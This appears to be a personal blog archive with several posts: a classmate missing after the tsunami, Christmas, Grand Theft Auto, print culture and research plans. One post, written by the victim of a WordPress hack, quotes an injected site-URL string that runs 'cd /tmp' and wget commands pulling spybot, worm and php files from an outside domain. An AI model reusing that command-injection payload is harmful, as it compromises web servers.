jill/txt

Shyrin’s photo was on the front page of the newspaper this morning. I showed my daughter, and explained that nobody knows where they are, and they were near where the big waves came. She cried and cried and then said she didn’t want to think about it any more, so we’re playing games that are full of laughs. She doesn’t want to talk with any of the other girls in her class, not for now, anyway. We’ll see how the next days go.

My eight-year-old’s classmate Shyrin is officially missing in Phuket. So is her mother and her mother’s boyfriend. Look, here are their photos.

I don’t know what to say. But I have to say something.

Soon we’ll have to tell my daughter. Honey, one of your best friends is missing. Yes, she might be dead. No, we may never know. I don’t know what happens when you die. I’m waiting till her father’s here too, so for now I’m talking with other parents from my girl’s class while out of her earshot and keeping the television off.

There are 800 other Norwegians missing too, and many already found dead. Norway’s a small country. The prime minister said it may be the greatest disaster to hit Norwegians in peacetime. Ever. And obviously the Norwegians, though closer to my home, are just a handful compared to the tens of thousands of other victims.

Please: donate money to the Red Cross and their efforts to find people and help people, or to one of the other aid organisations. Here’s the Norwegian Red Cross, and you’ll easily find your local equivalent if you search.

If you happen to be in Philadelphia this evening at 8 pm, go to the Slought Foundation to listen to Scott Rettberg and Nick Montfort in conversation with Johanna Drucker, Christian Bök, and Jean-Michel Rabaté. The Implementation exhibition is opening!

“S is so lucky! She’s in Thailand now, at the beach! I wish I was too!”

My eight-year-old knows about the tsunumi, but didn’t connect that to her classmate S’s Thailand holiday. There are 800 Norwegians missing in Thailand. I hope S and her family are safe.

Huh? Did someone hack my site? I loaded the page and got no CSS, so checked the template to find that the link to the CSS file had been replaced by this (I added line breaks, this was really all one long line):

http://huminf.uib.no/~jill/wp-login.php?
action=http://www.visualcoders.net/spy.gif?&cmd=cd%20/tmp;
wget%20www.visualcoders.net/spybot.txt;
wget%20www.visualcoders.net/worm1.txt;
wget%20www.visualcoders.net/php.txt;
wget%20www.visualcoders.net/ownz.txt;
wget%20www.visualcoders.net/wp-layout.css

My template was fine, so I looked at the options, and sure enough, my “site URL”, which WordPress glues into the template for almost every link it makes and which is supposed to be simply this: “http://huminf.uib.no/~jill/”, had been changed to all the following:

http://huminf.uib.no/~jill/wp-login.php?
action=http://www.visualcoders.net/spy.gif?&cmd=cd%20/tmp;
wget%20www.visualcoders.net/spybot.txt;
wget%20www.visualcoders.net/worm1.txt;
wget%20www.visualcoders.net/php.txt;
wget%20www.visualcoders.net/ownz.txt;
wget%20www.visualcoders.net

That looks very uncool. Now even to a total amateur at PHP like me, that seems to read as though every time someone looks at my blog, instead of the site fetching a CSS file that makes the page look pretty, an action is invoked that “gets” (”wget”, yeah?) a whole pile of nasty files called things like spy.gif and worm1.txt.

Does anyone understand this? What are they actually trying to do? Would this affect readers or my site? Would I have seen all sorts of stupid messages about how “spykids ownz your browser” if I’d been using Windows and Microsoft Explorer isntead of Firefox on a Mac? And how the heck did they change my site URL?

I fixed it, but I should obviously do something about security, huh? Except it’s Christmas! I don’t have time for this!!!
[I’ve asked for help at the WordPress support forum as well, and I filed a complain against visualcoders.net with Google, who run adwords through them. And I emailed the person who registered the domain, Mimoun Raddahi, who lives in Antwerpen, Belgium. Is there any chance visualcoders.net isn’t to blame here?]

In Scandinavia we celebrate Christmas Eve. A big dinner, then after coffee and cakes, Nissen comes and brings presents. I say we, but really I’m a voyeur. My family celebrates Christmas Day, not Eve, and though I’ve celebrated several lovely Christmas Eves with Norwegian families I’m far more attached to mornings ripping presents open in pyjamas, and turkey in the afternoon. This evening I walked home in the snow and the streets were completely empty. Flickr shows me that they were in Oslo and Copenhagen as well. Tomorrow will be anything but silent: my daughter and niece and nephew and sister and brother-in-law and mother and the day even more of my family. There’ll be noise, all right.

(Photos by me, Vinterstille and Timo. As Caterina said, it’s like having your own personal tv station. Merry Christmas!)

I’m improving at Grand Theft Auto. I worked out that “the red marker” the text mentioned every time I neared my “home” wasn’t an elusive button on the controller, but a freaky red lit area (beam me up Scotty) in the gameworld though obviously it doesn’t really exist in the gameworld. Steering CJ into the red area led to cut-scenes (and they load so slowly and you can’t opt out of them until they’ve already loaded) and then a point where I’m supposed to ride my bike and follow my “brother” and his friends.

Except I am such a bad cyclist. Not in real life, in real life I’m an experienced cyclist, I zoom down hills and lean expertly into curves, but in this game I keep swerving too violently, I get run over by cars all the time and then there’s the people who keep shooting me, of course. I’ve lost my brother and the gang so many times it’s not funny.

At least it gives me plenty of opportunity to practice cycling around, and carjacking cars and driving recklessly. And getting busted by the police. It sucks that cycling in a game is so much harder than cycling in real life.

From Nancy Kaplan and Stuart Moulthrop’s interview with each other in the last issue of Kairos, discussing that recent NEA report about how people aren’t reading anymore:

SM:Suggest five ways to save print culture.
NK: Okay, how about these:

• Use a rating system like the ones in use for movies and music. Give all the really good stuff X ratings, or at least NC-17.
• If that doesn’t work, ban the reading of novels, plays, short stories and poems.
• Send all women under the age of 35 to graduate school. (This recommendation is based on the NEA’s finding that having a mother who attended graduate school is one of the strongest predictors that a given person will read a lot of literature.)
• Pipe audio books into elevators instead of Muzak.
• But seriously, folks, support the growth and use of the Web by everyone; create good, accessible, usable digital libraries; invest in technologies, laws and social practices that would support a thriving marketplace for print on demand.

What possible advantage could there be to playing Scrabble on a Playstation instead of on a board? I mean, I get the point of online Scrabble, if you want to play with someone who’s not in the same room as you, but console Scrabble?

So, uh, Santa asked me if I could test-drive the Playstation 2 just to make sure it worked in time for Christmas Day. I popped in the newest Grand Theft Auto and so far I’ve been beaten up three times, thrown out of four cars, shot twice and been brutalised by the police, who also stole all my things and planted evidence of a crime on me. My guy (CJ) got really smelly. He even farted when I left him standing there for a few days. That and the subversive point of view on society must be why it’s R-rated.

So I restarted and this time managed to keep my bike, sort of learn to ride it, and after a while I was somewhere the voiceover said used to be my home. Some text said how to get off the bike, so I did, and nobody beat me up or stole the bike, but I can’t figure out how to talk to them either. I found a guide, and apparently I should have found someone called Ryder. Who’s that? And does that mean that if I didn’t, there’s nothing to do?

Honestly, games really frustrate me. And yet, I’m going to crack this. Anyone know a good guide to San Andreas for beginners?

[Update: OK, so riding around till you get the hang of it’s good, so is random killing, it seems, cos you get guns off the men and money off the hookers. It seems harder to kill rich people, though maybe I was just fumbling. And then there’s Casanova973’s guide, which is impressively detailed, and hugely helpful. Casanova may only be fourteen, but he sure knows his way round this R-rated city.]

Oddly enough I forgot to take photos of all the interesting or photogenic things, yesterday, for the Day in the Life project. I didn’t photograph hitting the alarm clock, dragging myself out of bed, showing the guy who came to assess the worth of my apartment around, working, buying the Playstation 2 (yay! It’s from “Santa” to me and my daughter!) or the deep emotional conversation with a girlfriend, you know, the real stuff. It was interesting seeing how many photos I didn’t take. I had imagined the photos would make a narrative of my day, but it turned out pretty cryptic.

The photos I actually took are in my Winter Solstice photoset. I really like skimming through everyone else’s thumbnail photos and narratives of their days. All these people. Everywhere.

Here’s a great answer to the perennial “Where are the women bloggers” question (the ironic version posted earlier is even better, but this one spells it out which obviously needed to be done) and I also need to remember to think about the final paragraph for my distributed narrative thingmagig. I wonder whether that’s true? Must consider.

Now: must go meet girlfriend, drink beer.

Tomorrow is the winter solstice. I’m marking the day by participating in A Day in the Life at Flickr. That’s the group for doing it, here’s a supershort explanation in case the group’s too much information to process.

How are you celebrating?

I’ve set up a page tracking what I’ve done and am doing on my distributed narrative project, which I’ve decided is going to be my big research project for the next year or two. Right now I’m writing an abstract to submit for Fibreculture’s upcoming issue on Distributed Aesthetics, which seems rather obviously right up my alley. I need to get up the courage to write a book proposal of it and send it in and see if I can get it published, you know, but I’ve conveniently decided I need to write a bit more first. Although I know you only need to send in an outline and a sample chapter. And the explanation of how important the topic is and how well the book will sell, of course.

I’d like to redesign the project page, and add an RSS feed so new blog posts on the topic go straight into it. I suppose I could make it a mini-blog of its own, or a one-person wiki, perhaps. But while that’d be cool, I think that’s mostly just a desire to procrastinate so I don’t have to actually write the stuff. Not now. It’s really pretty good just getting it out there at all, even with an old template.

I just ordered Noah & Saskia, which is an Australian kids’ television series about a British boy and an Australian girl, both 14, who meet online when Saskia discovers that Noah (or “Max” as his avatar in the graphic chat world they’re on) has stolen one of her songs and used it as a soundtrack for his comics without asking. To their surprise, they’re completely fascinated by each other. I bet my 8 1/2 year old will proclaim it “boring”, but I’ll watch it! Angela Thomas, who’s researching kids and identiy online among other things, writes many good things about the serial.